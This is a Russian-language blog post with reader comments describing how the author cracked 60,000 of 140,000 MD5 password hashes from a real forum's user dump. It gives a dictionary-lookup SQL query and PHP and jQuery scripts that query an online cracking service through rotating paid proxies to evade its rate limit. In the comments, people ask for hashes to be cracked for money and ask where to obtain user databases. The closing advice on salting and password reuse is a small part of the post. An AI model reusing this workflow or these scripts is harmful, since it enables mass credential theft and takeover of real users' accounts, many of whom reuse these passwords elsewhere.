Взлом 140 000 паролей md5

Не буду говорить для кого и с какой целью расшифровывал, лучше напишу как это делать.

Исходные данные: sql-дамп таблицы пользователей с двумя столбцами: email, md5(password). Количество записей: 140 000. База одного крупного форума.

Взлом паролей md5 через прокси

На данный момент в сети есть упоминания про быстрое нахождение коллизий md5. Вроде китайцы еще несколько лет назад заявили про это, но я не нашел готовых сервисов или скриптов (может плохо искал). Впрочем, как оказалось, пароли можно расшифровывать простым перебором.

Метод подбора

Представим что у нас есть 1 000 000 000 часто используемых слов и комбинаций символов (слова, даты рождения, номера телефонов). Создаем таблицу вида «слово-md5(слово)»

Взлом паролей md5 через прокси

Затем берем любой зашифрованный пароль и пытаемся найти его в этой таблице по полю md5(слово). Если такой хэш есть, то значит, пароль и есть это слово из словаря.

Пример. Берем зашифрованный пароль b513f22c3db6932855ad732f5f8a10a2, находим его в таблице словаря. Значит исходный пароль astalavista

Взлом паролей md5 через прокси

Перебор с помощью словаря

В сети полно словарей. Обычно это текстовые файлы .txt, в которых каждое новое слово начинается с новой строки. В итоге у меня получился словарь 4 000 000 слов.

Взлом паролей md5 через прокси

Затем делаем SQL-запрос (см. пример выше с паролем astalavista)

UPDATE user,dictionary
SET user.password=dictionary.word
WHERE user.pass_md5=dictionary.md5

Вуа-ля! 20 000 паролей расшифровано!

Сервисы по взлому md5

4 000 000 слов – это мало. Нужен словарь в десятки миллионов комбинаций. Существует много сервисов, в которых содержатся такие большие базы.

Я пользовался сервисом www.netmd5crack.com. В нем содержится около 160 000 000 миллионов хэшей md5. Однако данный сервис дает возможность делать только 100 запросов в день с одного IP. А мне нужно расшифровать еще 120 000 паролей. С домашнего компьютера (один IP) на это бы ушло 3 года. Поэтому я использовал прокси.

Прокси для взлома md5

Прокси бывают платными и бесплатными. Бесплатные прокси – дело тухлое, почти все не работают или жутко тормозят. Поэтому можно купить доступ к платным прокси. Стоит это обычно 10-30$ в месяц. Я пользовался сервисом freeproxylist.org. Оплата через WebMoney.

У меня была табличка в базе данных, в которую я загружал прокси. Чтобы не перегружать сервер проксей при проверке каждого пароля. Поле actitvity служит для фиксации работает ли данный прокси или нет. Не надейтесь, что все платные прокси будут работать.

Взлом паролей md5

При получении списка проксей я использовал следующие настройки

Взлом паролей md5 через прокси

<?php
// загружаем список проксей
$proxy_content = file_get_contents('http://freeproxylist.org/en/downloader.php?key=платный_ключ&data=any|any|23|any|any|2|any|0|2.0000|0|5&plain=');
$proxy_array = explode("\n",$proxy_content);
if (!empty($proxy_array)) {
    $DB = DB::GetConnect(); соединяемся с базой данных
    foreach ($proxy_array as $value) {
        $proxy = explode(':',$value);
        if (!empty($proxy[0]) && !empty($proxy[1])) {
            $DB->query('INSERT IGNORE INTO proxy(ip,port) VALUES(?,?)', $proxy[0], $proxy[1]);
        }
     }
}
?>

Чтобы обращаться к сервису по взлому md5 через прокси я использовал cтарый, добрый fscocketopen() без всяких мультипрокси и CURL. Выкладываю упрощенный вариант (без ООП, разных проверок, обращения к базе данных)

<?php
// соединяемся с прокси
$fp = fsockopen($proxy_ip, $proxy_port, $errno, $errstr, 5);
if ($fp) {
    // формируем http-заголовки
    $request  = "GET /cgi-bin/Crack.py?InputHash=".$pass_md5." HTTP/1.0
";
    $request .= "Host: www.netmd5crack.com
";
    $request .= "Referer: http://www.netmd5crack.com/cgi-bin/Crack.py
";
    $request .= "User-Agent: Mozilla/2.0 (compatible; MSIE 6.0; Windows NT 5.3;)
";
    $request .= "Connection: close

";

    // отправляем запрос к сервису netmd5crack.com через прокси
    fputs($fp, $request);
    $content = '';
    while(!feof($fp) ){
        $content .= fgets($fp);
    }

    // с помощью регулярных выражений ищем пароль (ищем все ячейки td)
    $pattern = '/\<td class="border"\>(.*?)\<\/td\>?/is';
    $matches = array();
    preg_match_all($pattern,$content,$matches);
    $password = $matches[1][3]; // пароль в 4-ой ячейке
}
?>

Скрипт ставится в cron или же можно использовать вот такое простое решение. Создаем html документ. Подключаем библиотеку jQuery.

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>Взлом md5</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <script type="text/javascript" src="http://ekimoff.ru/lib/jquery/jquery.js"></script>
</head>
<body>
	<script type="text/javascript">
	function send() {
		function onAjaxSuccess() {
		     send(); // когда пришел ответ, то снова запускаем md5.php
		}
		rand = Math.random(); // случайное число, чтобы избежать кэширвоания
		$.post('/md5.php', {rand: rand}, onAjaxSuccess);
	}
             send(); // вызываем функцию
	</script>
</body>
</html>

Загружаем его на тот же домен, где лежит php-скрипт (в моем случае это был localhost). Данный файл запускает скрипт md5.php через AJAX. Этот html-файлик должен лежать именно на том же домене, где находится php-скрипт, так как AJAX не допускает кросс-доменных запросов. Как только скрипт проверил очередной пароль, то мы снова обращаемся к нему, и так до тех пор, пока не проверим все пароли.

На проверку 100 000 паролей уходит 1 неделя – вполне приемлемый срок, если вам некуда спешить. Если же вам необходимо расшифровать такое количество паролей за сутки, то вам не обойтись без мультипрокси. Кстати, в случае взлома через словарь на локальной машине взлом длится пару секунд. Но, как я уже говорил, составить такой словарь на домашнем компьютере весьма проблематично.

Итак, из 120 000 оставшихся паролей было расшифровано еще 40 000. Итого мы имеем 43% взломанных паролей (60 000 из 140 000).

Статистика паролей

  • 4000 пользователей используют цифровой пароль
  • 1700 пользователей используют пароль длиной 1-5 символов
  • 540 пользователей используют пароль qwerty

Что дальше

Казалось бы, зачем нужны пароли пользователей от конкретного форума. Если админ форума может и сам сделать любое действие от любого пользователя на форуме. Но мало того, что пользователи используют простые пароли, так 10-20% используют ОДИН ПАРОЛЬ НА ВСЁ. На почту, на Одноклассники, на ICQ и т.д.

Что делать?

  • Использовать сложный пароль.
  • Не использовать один пароль на все сервисы, которыми вы пользуетесь.
  • Совет для разработчиков: для того, чтобы украденные шифрованные пароли было сложно расшифровать, необходимо использовать шифрование с солью. Даже если база попадет в плохие руки, то расшифровать такие подсоленные пароли будет практически невозможно с использованием словарей.
#1

как называется клиент для бд, который ты используешь

sikoshi, 3.07.2010 - 06:26
#2

Toad for MySQL

admin, 3.07.2010 - 09:16
#3

Ну ты, дядька, большую и полезную работу проделал. Респект.

Mak, 5.07.2010 - 13:08
#4

Расписал то..)))
Вообще советую (кому тут мои советы нужны...) подучить Python или какой-то более подходящий для таких задач ЯП ибо написать на PHP надежный HTTP-клиент это тот еще гемороище. Плюс многопоточность он не умеет.

Сергей, 6.07.2010 - 00:39
#5

Про Python мне уже советовали http://ekimoff.ru/106/
Никак руки не дойдут до изучения. Так что пока быдлокодим на PHP.

admin, 6.07.2010 - 11:12
#6

помогите расшифровать!!
ce2299d4896fb024d702b306de31a7d9
кто может помочь, пишите в аську 1300856

kkk, 9.05.2011 - 23:31
#7

#4,
"написать на PHP надежный HTTP-клиент" - КЛИЕНТ? Ололо. Иди, учи пэхэпэ, хакер доморощенный))))

asd, 29.01.2012 - 23:58
#8

А как можно узнать базу пользователей? Где?
Вот скажим например spaces.ru

Anon25, 16.03.2012 - 12:38
#9

Отпишитесь, пожалоста, на:
675kostya@gmail.com

Anon25, 16.03.2012 - 12:39
#10

возможно ли расшифровать такие пароли - 3_4_8_19 8_13_18_19 5_14_16_18 4_6_8_16 9_10_13_16 3_8_9_12 6_9_15_16 11_12_14_19 10_15_16_20 9_12_18_19 5_6_7_9 1_2_3_8 4_6_7_8 ApZYtUQO1rwte0GKPaDI07B7 /// заплачу 10 тысяч рублей по webmoney тому кто расшифрует 3 таких паролей ( это не шутка и не прикол)

Casianov, 30.07.2012 - 13:12
#11

Casianov, смеешься? или думаешь на игруне лохи сидят? ))))

aaaaaaaa, 8.10.2012 - 14:38
Оставить комментарий